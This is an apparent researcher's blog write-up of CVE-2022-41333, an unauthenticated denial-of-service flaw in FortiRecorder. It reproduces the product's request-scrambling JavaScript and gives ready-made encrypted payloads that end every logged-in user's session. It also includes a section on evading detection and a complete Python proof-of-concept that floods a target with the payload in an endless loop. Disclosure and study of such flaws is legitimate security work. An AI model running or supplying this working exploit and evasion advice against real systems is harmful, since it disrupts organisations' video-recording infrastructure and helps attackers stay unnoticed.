MOHAMMED ADEL
Published on

FortiRecorder; Denial of Service (CVE-2022-41333)

Authors
  • avatar
    Name
    MOHAMMED ADEL
    Twitter

Summary

FortiRecorder is susceptible to an uncontrolled resource consumption vulnerability [CWE-400], which can be exploited by an unauthenticated attacker through crafted GET/POST requests to make the device unavailable.

Application Analysis

Starting off by looking at the requests and responses that are going/coming from/to the affected product, they are encrypted as a meaningless strings. So the first step is to understand how the affected product encrypts and decrypts those meaningless strings.

Since the product encrypts and decrypts the meaningless strings in the front-end, a dive into the JavaScript files was required.

After spending a reasonable amount of time on the JavaScript files, the encryption & decryption functions were found. The following are the functions along with their purposes:

  • FV_scramble(): is used to assemble the clear-text parameters supplied by the end-user and their values along with additional required parameters and pass them to another function.
  • FV_scrambler(): is used to to manufacture (encrypt) a meaningless string out of the parameters & values collected from the function FV_scramble().
  • FV_unscramble(): is used to decrypt the meaningless strings that are coming in the request’s responses.

The below are the code snippets of each function required in understanding how the meaningless strings are being encrypted and decrypted.

FV_scramble()
function FV_scramble(data, type)
{
  if(!isNull(type) && (type == FEScrambler.TYPE_V1 || type == FEScrambler.TYPE_V2_FE_MAGIC)) {
      return FV_scrambler(data, FEWScrambleCodec.Base64, 0, type);
  }
  else {
      return FV_scrambler(data, FEWScrambleCodec.Base64, 0, FEScrambler.TYPE_V2);
  }
}
FV_scrambler()
function FV_scrambler(data, codec, sessionMagic, type)
{
  if (!FEScrambler.EnableScramble)
  {
      return data;
  }
 
  if(isNull(type)) {
      type = FEScrambler.TYPE_V2;
  }
  if(forceScrambleTypeV1) {
      type = FEScrambler.TYPE_V1;
  }
 
  var out = FEScrambler.FE_REQHEADER;
  if (!data || data.length == 0)
  {
      return out;
  }
 
  if (sessionMagic == 0)
  {
      sessionMagic = getSessionMagic(type);
  }
 
  var ostr_magic = "" + FEScrambler.DELIMITER + String.fromCharCode(sessionMagic + "A".charCodeAt(0));
  var ostr_len = "" + FEScrambler.DELIMITER + data.length + FEScrambler.DELIMITER;
  var ostr_scrambled = "";
 
  if(type == FEScrambler.TYPE_V1) {
      ostr_scrambled += FV_xorString(ostr_magic, FEScrambler.FE_MAGIC);
  }
  ostr_scrambled += FV_xorString(ostr_len, sessionMagic);
  ostr_scrambled += FV_xorString(data, sessionMagic);
 
  out += ("" + FEScrambler.DELIMITER + codec + FEScrambler.DELIMITER);
  if (codec ==  FEWScrambleCodec.Base64)
  {
      out += btoa(ostr_scrambled);
  }
  else
  {
      out += ostr_scrambled;
  }
 
  return out;
}
FV_unscramble()
function FV_unscramble(data, scrmableType)
{
  if (isNull(data))
  {
      return "";
  }
  var curpos = data.indexOf(FEScrambler.FE_RESHEADER);
  if (curpos < 0)
  {
      return data;
  }
  var out = "";
  try
  {
      out = data.substring(0, curpos);
      curpos += FEScrambler.FE_HEADER_LEN;
      var codec = data.charAt(curpos + 1);
      var bridge_str = data.substring(FEScrambler.FE_HEADER_LEN + 3);
      if (codec == FEWScrambleCodec.Base64)
      {
          bridge_str = atob(bridge_str);
      }
 
      curpos = 0;
      var session_magic =  g_sessionManager.getMagicNumber();
      if(session_magic == 0) {
          session_magic = FEScrambler.FE_MAGIC;
      }
      var header = "";
      var stop_char = "";
      if(isNull(scrmableType)) {
          scrmableType = FEScrambler.TYPE_V2;
      }
      if(scrmableType === FEScrambler.TYPE_V1) {
          header = FV_xorString(bridge_str.substring(curpos, FEScrambler.SESSION_MAGIC_SIZE + 1), FEScrambler.FE_MAGIC);
          if (header.charAt(0) != FEScrambler.DELIMITER)
          {
              return out;
          }
          session_magic = (header.charCodeAt(1) - "A".charCodeAt(0));
          curpos += (FEScrambler.SESSION_MAGIC_SIZE + 1);
      }
      else {
          if(scrmableType == FEScrambler.TYPE_V2_FE_MAGIC) {
              session_magic = FEScrambler.FE_MAGIC;
          }
          header = FV_xorString(bridge_str.substring(curpos, 1), session_magic);
          if (header.charAt(0) != FEScrambler.DELIMITER) {
              return out;
          }
      }
 
      header = FV_xorString(bridge_str.substring(curpos, curpos+1), session_magic);
      if(header.charAt(0) != FEScrambler.DELIMITER) {
          return out;
      }
      curpos += 1;
      stop_char = String.fromCharCode(session_magic ^ FEScrambler.DELIMITER.charCodeAt(0));
      var stop_pos = bridge_str.indexOf(stop_char, curpos);
      var sizestr = FV_xorString(bridge_str.substring(curpos, stop_pos), session_magic);
      var strsize = parseInt(sizestr);
      curpos = stop_pos + 1;
      out = FV_xorString(bridge_str.substring(curpos, strsize + curpos), session_magic);
      curpos += strsize;
      out += bridge_str.substring(curpos);
      if (codec != FEWScrambleCodec.None)
      {
          var decodedString = decode_utf8(out);
          out = decodedString;
      }
      return out;
  }
  catch (exp)
  {
      return out;
  }
}

Now that we have identified what functions does the encryption and decryption, let’s go ahead and give the decryption function a quick test using the browser’s developer console:

The above image shows that the decryption function that was found earlier does decrypt the meaningless string and work as intended.

Reproducing the Encryption & Decryption Functions

Now that we have identified and tested the encryption and decryption functions, it is only practical that we reproduce those functions to work locally instead of using the browser’s developer console. The purpose of reproducing those functions will be explained later in this article.

In the midst of reproducing the functions locally; the following two files have been created:

  • Payload_Functions.js: Code HERE
  • Payload_Generator.html: Code HERE

Finding the Vulnerability

After understanding what functions encrypts and decrypts the meaningless strings and reproducing those functions to run locally. Hours were spent manipulating the application by feeding it unexpected values and absorbing it’s behavior.

The main goal was to find a vulnerability that could force the application to behave in an unintended way as well as making sure that the execution of the vulnerability does not need any authentication.

That’s being said, we will be manipulating the POSTED data sent during a login attempt. The following is the meaningless string that was originally sent when a login attempt was initiated:

  • Encrypted Login Request:
fewReq=:B:JSonJW16blB9dXp8ayJee3J2cVNweHZxOW16bl58a3ZwcSIuOXF+cnoib3Bzfm05b35sbGhwbXsib3Bzfm0=

The clear-text data of the above encrypted login request can be decrypted using the reproduced code that was created earlier. Nevertheless, the following is the clear-text of the encrypted data.

  • Decrypted Login Request:
reqObject=AdminLogin&reqAction=1&name=polar&password=polar

Now let’s go ahead and break-down the decrypted login request and understand what each parameter means:

  • reqObject: Points to what object should be executed; in this case it is an admin login.
  • reqAction: Points to what function should be executed under the admin login.
  • name: Login username.
  • password: Login password.

One more thing to understand is the behavior of including the reqObject and reqAction along with their required parameters is being used in the entire application/product to execute different tasks.

Therefore, we will modify the Decrypted Login Request to point the application/product back-end’s to an administrator object. Where the pointed at object will be anticipating certain parameters along with their values to completely execute the requested task. The trick is not to supply the parameters and values that are required to successfully execute the task the application is pointing at, which results in confusing the application’s back-end and making it lose all references to a resource before reaching the error exception. This technique will eventually make the application/product unusable by killing the sessions of all logged-in users and force them to re-login. The below is the Modified Decrypted Login Request.

  • Modified Decrypted Login Request:
reqObject=SysCamAdmin&reqAction=1&
  • Modified Encrypted Login Request:
fewReq=:B:JSwrJW16blB9dXp8ayJMZmxcfnJee3J2cTltem5efGt2cHEiLjk=

The above Modified Encrypted Login Request will be killing the sessions of all logged-in users and force them to re-login every time it is sent in either a POST or GET requests.

Avoid Being Detected | Flagged

To avoid being detected or flagged as a threat actor performing malicious activities follow the below outlined steps:

  • With the reproduced encryption and decryption functions at hand, add random values after the last [&] in the Modified Decrypted Login Request.
  • The application/product communication’s behavior is solely based on POST requests. Hence; send payload as a POST request.

Proof of Concept (PoC)

Little red ridning hood

CVE-2022-41333-PoC.py
# CVE-2022-41333
import requests
import warnings
import sys
from urllib.parse import unquote
warnings.filterwarnings('ignore', message='Unverified HTTPS request')

def POST(target, req_type, payload):
    print("[+] Target      : "+target)
    print("[+] Request Type: POST")
    print("[+] Payload     : " +payload)
    post_url = target+"/module/admin.fe"
    post_headers = {"User-Agent": "CVE-2022-41333", "Content-Type": "application/x-www-form-urlencoded"}
    url_decoder = unquote(payload)
    full_payload = "fewReq="+url_decoder
    while True:
        r = requests.post(post_url, headers=post_headers, data=full_payload, verify=False)
        if "Failed: Access denied" in r.text:
            print("[+] Payload Sent.")
        else:
            print("[!] Something went wrong!")
            print(r.text)

def GET(target, req_type, payload):
    print("[+] Target      : "+target)
    print("[+] Request Type: GET")
    print("[+] Payload     : " +payload)
    while True:
      url = target+"/module/admin.fe?fewReq="+payload
      headers = {"User-Agent": "CVE-2022-41333", "Connection": "close"}
      r = requests.get(url, headers=headers, verify=False)
      if "Failed: Access denied" in r.text:
          print("[+] Payload Sent.")
      else:
          print("[!] Something went wrong!")
          print(r.text)


print("[+] Starting ..")
target = str((sys.argv[1])) # https://fortirecorder.fortidemo.com
req_type = str((sys.argv[2])) # POST or GET
payload = str((sys.argv[3])) # :B:JSsrJW16blB9dXp8ayJMZmxcfnJee3J2cTltem5efGt2cHEiLio5amx6bXF+cnoi


if "post" in req_type.lower():
    if "https" in target.lower() or "http" in target.lower():
        POST(target, req_type, payload)
    else:
        print("[!] Invalid Target. [Ex: https://fortirecorder.fortidemo.com]")
elif "get" in req_type.lower():
    if "https" in target.lower() or "http" in target.lower():
        GET(target, req_type, payload)
    else:
        print("[!] Invalid Target. [Ex: https://fortirecorder.fortidemo.com]")
else:
    print("[!] Invalid Request Type.")

References